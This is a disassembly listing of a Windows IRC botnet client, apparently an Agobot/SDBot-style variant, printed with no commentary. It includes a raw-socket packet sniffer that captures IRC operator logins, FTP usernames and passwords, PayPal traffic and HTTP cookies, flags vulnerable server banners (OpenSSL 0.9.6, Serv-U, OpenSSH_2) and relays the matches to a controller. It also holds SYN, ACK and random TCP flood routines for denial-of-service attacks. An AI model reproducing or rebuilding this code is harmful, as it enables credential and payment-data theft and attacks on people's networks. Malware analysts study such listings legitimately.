		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9E8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA58
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437870
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB980
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437840
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9EC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43780C
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377D8
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377A4
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43776C


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437734
		jmp	short loc_413573
sub_4131EC	endp

; ---------------------------------------------------------------------------
byte_4135DF	db 55h			; DATA XREF: sub_401ACD+6464o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 228D766h
		dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: ___:00413A0Bp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9D4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9D4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9D0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9D4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27C0554h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27C0279h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27C0279h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378C4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA6C
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: ___:00413A15j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413A29	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6643o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh
		dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
		dd 59FFFF7Ch, 0E8905759h, 22DC53Ch, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h
		dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h
		dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
		dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh,	858D14C4h
		dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h,	5959FFFFh
		dd 0C5E89057h, 8D022DC4h, 0FFFE4885h, 15FF50FFh, 4CBA14h
		dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
		dd 575959FFh, 2DC45FE8h, 106A9002h, 57E4458Dh, 83C2E850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh,	4270B035h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E74005C6h
		dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch
		dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch
		dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h
		dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
		dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h
		dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h
		dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h
		dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h
		dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh,	0FF004CBAh
		dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43792C68h
		dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
